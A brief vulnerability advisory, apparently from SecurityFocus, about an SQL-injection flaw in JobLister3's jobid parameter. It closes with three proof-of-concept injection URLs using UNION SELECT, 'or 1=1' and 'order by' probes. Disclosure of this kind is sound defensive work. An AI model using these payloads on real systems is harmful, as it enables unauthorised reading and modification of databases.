source: https://www.securityfocus.com/bid/25296/info

JobLister3 is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?mode=showbyID&jobid=99786'%20union%20all%20select%20something%20from%20something/*
http://www.example.com/index.php?mode=showbyID&jobid=99786'%20or%201=1/*
http://www.example.com/index.php?mode=showbyID&jobid=99786'%20order%20by%2016/*